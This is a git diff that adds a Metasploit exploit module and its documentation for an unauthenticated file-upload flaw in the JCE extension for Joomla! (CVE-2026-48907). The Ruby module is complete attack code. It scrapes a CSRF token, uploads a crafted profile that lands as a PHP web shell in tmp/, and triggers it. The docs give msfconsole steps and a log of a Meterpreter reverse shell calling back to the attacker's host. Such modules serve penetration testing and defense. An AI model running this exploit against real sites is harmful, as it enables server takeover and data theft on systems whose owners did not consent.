diff --git a/documentation/modules/exploit/multi/http/joomla_com_jce_unauth_file_upload_rce.md b/documentation/modules/exploit/multi/http/joomla_com_jce_unauth_file_upload_rce.md new file mode 100644 index 0000000000000..d43d539355845 --- /dev/null +++ b/documentation/modules/exploit/multi/http/joomla_com_jce_unauth_file_upload_rce.md @@ -0,0 +1,69 @@ +## Vulnerable Application + +This module exploits an unauthenticated arbitrary profile creation vulnerability in the JCE (Joomla Content Editor) extension for +Joomla! (CVE-2026-48907). The `profiles.import` task fails to enforce authentication, allowing the import of a crafted profile that +is directly written to disk as a PHP web shell. This results in remote code execution, provided that the `tmp/` directory is not +explicitly restricted. JCE versions up to and including 2.9.99.4 are affected. + +A vulnerable environment requires: + +* A working Joomla! installation, available from [downloads.joomla.org/](https://downloads.joomla.org/). +* The JCE extension. An affected build (<= 2.9.99.4) can be obtained from the vendor's +[GitHub repository](https://github.com/widgetfactory/jce) +([direct package link](https://github.com/widgetfactory/jce/releases/download/2.9.99.4/pkg_jce_29994.zip)). + +No authentication is required to trigger the vulnerability; the module only needs network access to the Joomla! front end. + +This module has been tested successfully on JCE 2.9.99.4 running on Joomla! 6.1.1, Apache and PHP 8.4.22. + +## Verification Steps + +1. Install a vulnerable Joomla! + JCE environment as described above. +2. Start `msfconsole`. +3. Do: `use exploit/multi/http/joomla_com_jce_unauth_file_upload_rce` +4. Do: `set RHOSTS [ip]` +5. If necessary, do: `set TARGETURI [path]` +6. If necessary, set the standard options (`RPORT`, `SSL`, `LHOST`, `LPORT`, etc.) to match your environment. +7. Do: `run` +8. You should get a Meterpreter session. + +## Options + +### FILENAME + +The name to use for the uploaded PHP payload, dropped under `tmp/`. Must end in a PHP-executable extension +(`.php`, `.php2`-`.php7`, `.pht` or `.phtml`); the module enforces this and will abort with `Failure::BadConfig` +otherwise. Defaults to a randomly generated alphanumeric filename with a `.php` extension. + +## Scenarios + +### JCE 2.9.99.4 on Joomla! 6.1.1 (Apache, PHP 8.4.22) + +``` +msf > use exploit/multi/http/joomla_com_jce_unauth_file_upload_rce +[*] Using configured payload php/meterpreter/reverse_tcp +msf exploit(multi/http/joomla_com_jce_unauth_file_upload_rce) > set RHOSTS 127.0.0.1 +RHOSTS => 127.0.0.1 +msf exploit(multi/http/joomla_com_jce_unauth_file_upload_rce) > set RPORT 9999 +RPORT => 9999 +msf exploit(multi/http/joomla_com_jce_unauth_file_upload_rce) > set LHOST 172.19.0.1 +LHOST => 172.19.0.1 +msf exploit(multi/http/joomla_com_jce_unauth_file_upload_rce) > check +[+] 127.0.0.1:9999 - The target appears to be vulnerable. JCE version 2.9.99.4 detected. +msf exploit(multi/http/joomla_com_jce_unauth_file_upload_rce) > run +[*] Started reverse TCP handler on 172.19.0.1:4444 +[*] Uploading sBKP7OLDD.php +[*] Triggering /tmp/sBKP7OLDD.php +[*] Sending stage (45739 bytes) to 172.19.0.2 +[+] Deleted sBKP7OLDD.php +[*] Meterpreter session 1 opened (172.19.0.1:4444 -> 172.19.0.2:37958) at 2026-06-25 22:27:32 +0200 + +meterpreter > sysinfo +Computer : 78ccc0643bbc +OS : Linux 78ccc0643bbc 7.0.11-200.fc44.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Jun 1 22:50:37 UTC 2026 x86_64 +Architecture : x64 +System Language : C +Meterpreter : php/linux +meterpreter > getuid +Server username: www-data +``` diff --git a/modules/exploits/multi/http/joomla_com_jce_unauth_file_upload_rce.rb b/modules/exploits/multi/http/joomla_com_jce_unauth_file_upload_rce.rb new file mode 100644 index 0000000000000..cad87cd42f97f --- /dev/null +++ b/modules/exploits/multi/http/joomla_com_jce_unauth_file_upload_rce.rb @@ -0,0 +1,169 @@ +# frozen_string_literal: true + +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Joomla Content Editor Unauthenticated File Upload RCE', + 'Description' => %q{ + This module exploits an unauthenticated arbitrary profile creation vulnerability in the JCE + (Joomla Content Editor) extension for Joomla! (CVE-2026-48907). The profiles.import task fails to enforce + authentication, allowing the import of a crafted profile that is directly written to disk as a PHP web shell. + This results in remote code execution, provided that the tmp/ directory is not explicitly restricted. + + JCE versions up to and including 2.9.99.4 are affected. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'ispyispyispy', # msf module + 'David Jardin', # discovery + 'Uwe Flottemesch' # discovery + ], + 'References' => [ + ['CVE', '2026-48907'], + ['GHSA', 'c3f5-4g7f-qjqj'], + ['URL', 'https://www.joomlacontenteditor.net/news/jce-security-update-and-a-free-patch-for-older-sites'] + ], + 'DisclosureDate' => '2026-06-05', + 'Platform' => ['php'], + 'Arch' => ARCH_PHP, + 'Targets' => [ + ['Joomla Content Editor (Joomla!)', {}] + ], + 'Privileged' => false, + 'DefaultOptions' => { + 'PAYLOAD' => 'php/meterpreter/reverse_tcp' + }, + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] + } + ) + ) + + register_options([ + OptString.new('TARGETURI', [true, 'The base path to Joomla!', '/']), + OptString.new('FILENAME', [false, 'The filename for the uploaded payload (default: random)']) + ]) + end + + def check + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'components', 'com_jce', 'jce.php') + ) + + return CheckCode::Unknown('Could not connect to web service.') unless res + return CheckCode::Safe('JCE component does not appear to be installed.') unless res.code != 404 + return CheckCode::Unknown("Unexpected HTTP response code: #{res.code}.") unless res.code == 200 + + # We could also check with .php extension, but i'd rather not trigger anything by an accident. + filename = "#{Rex::Text.rand_text_alphanumeric(rand(8..12))}#{['.jpg', '.png'].sample}" + + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'tmp', filename) + ) + + return CheckCode::Safe('Target does not allow direct access of uploaded files.') unless res && res.code != 403 + + version = extract_jce_version + + return CheckCode::Detected('Exploit conditions are met. Target is likely vulnerable unless patched.') unless version + + version = Rex::Version.new(version) + max_version = Rex::Version.new('2.9.99.4') + + return CheckCode::Safe("JCE version #{version} detected.") unless version <= max_version + + CheckCode::Appears("JCE version #{version} detected.") + end + + def exploit + payload_filename = datastore['FILENAME'] || "#{Rex::Text.rand_text_alphanumeric(rand(8..12))}.php" + + fail_with(Failure::BadConfig, 'FILENAME must end with valid PHP file extension') unless payload_filename.match?(/\.(php[2-7]?|pht(?:ml)?)$/i) + + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'index.php'), + 'keep_cookies' => true + ) + + fail_with(Failure::Unreachable, 'Could not connect to web service') unless res + fail_with(Failure::UnexpectedReply, "Unexpected HTTP response code: #{res.code}") unless res.code == 200 + + csrf_token = extract_csrf_token(res.body) + fail_with(Failure::UnexpectedReply, 'Failed to extract CSRF token') unless csrf_token + vprint_status("Extracted CSRF token: #{csrf_token}") + + print_status("Uploading #{payload_filename}") + res = upload_profile(payload_filename, payload.encoded, csrf_token) + + fail_with(Failure::Unreachable, 'No response received for the profile upload request') unless res + fail_with(Failure::UnexpectedReply, "Upload failed with HTTP response code: #{res.code}") unless res.code == 200 + + register_files_for_cleanup(payload_filename) + + payload_uri = normalize_uri(target_uri.path, 'tmp', payload_filename) + print_status("Triggering #{payload_uri}") + + send_request_cgi({ 'method' => 'GET', 'uri' => payload_uri }, 5) + end + + def extract_jce_version + uri = normalize_uri( + target_uri.path, 'media', 'com_jce', 'editor', 'extensions', + 'popups', 'jcemediabox', 'js', 'jcemediabox.js' + ) + + res = send_request_cgi( + 'method' => 'GET', + 'uri' => uri, + 'vars_get' => { 'v' => Time.now.to_i } # cache buster + ) + + return unless res&.code == 200 + + match = res.body.match(/jce\s*-\s*([\d.]+)/) + match[1] if match + end + + def extract_csrf_token(body) + match = body.match(/"csrf\.token"\s*:\s*"([a-f0-9]{32})"/) + return match[1] if match + + match = body.match(/]*name="([a-f0-9]{32})"[^>]*value="1"/i) + match[1] if match + end + + def upload_profile(filename, content, csrf_token) + mime = Rex::MIME::Message.new + mime.add_part(content, 'application/xml', 'binary', "form-data; name=\"profile_file\"; filename=\"#{filename}\"") + mime.add_part('profiles.import', nil, nil, 'form-data; name="task"') + mime.add_part('1', nil, nil, "form-data; name=\"#{csrf_token}\"") + + data = mime.to_s + + send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path), + 'vars_get' => { 'option' => 'com_jce' }, + 'ctype' => "multipart/form-data; boundary=#{mime.bound}", + 'data' => data + ) + end +end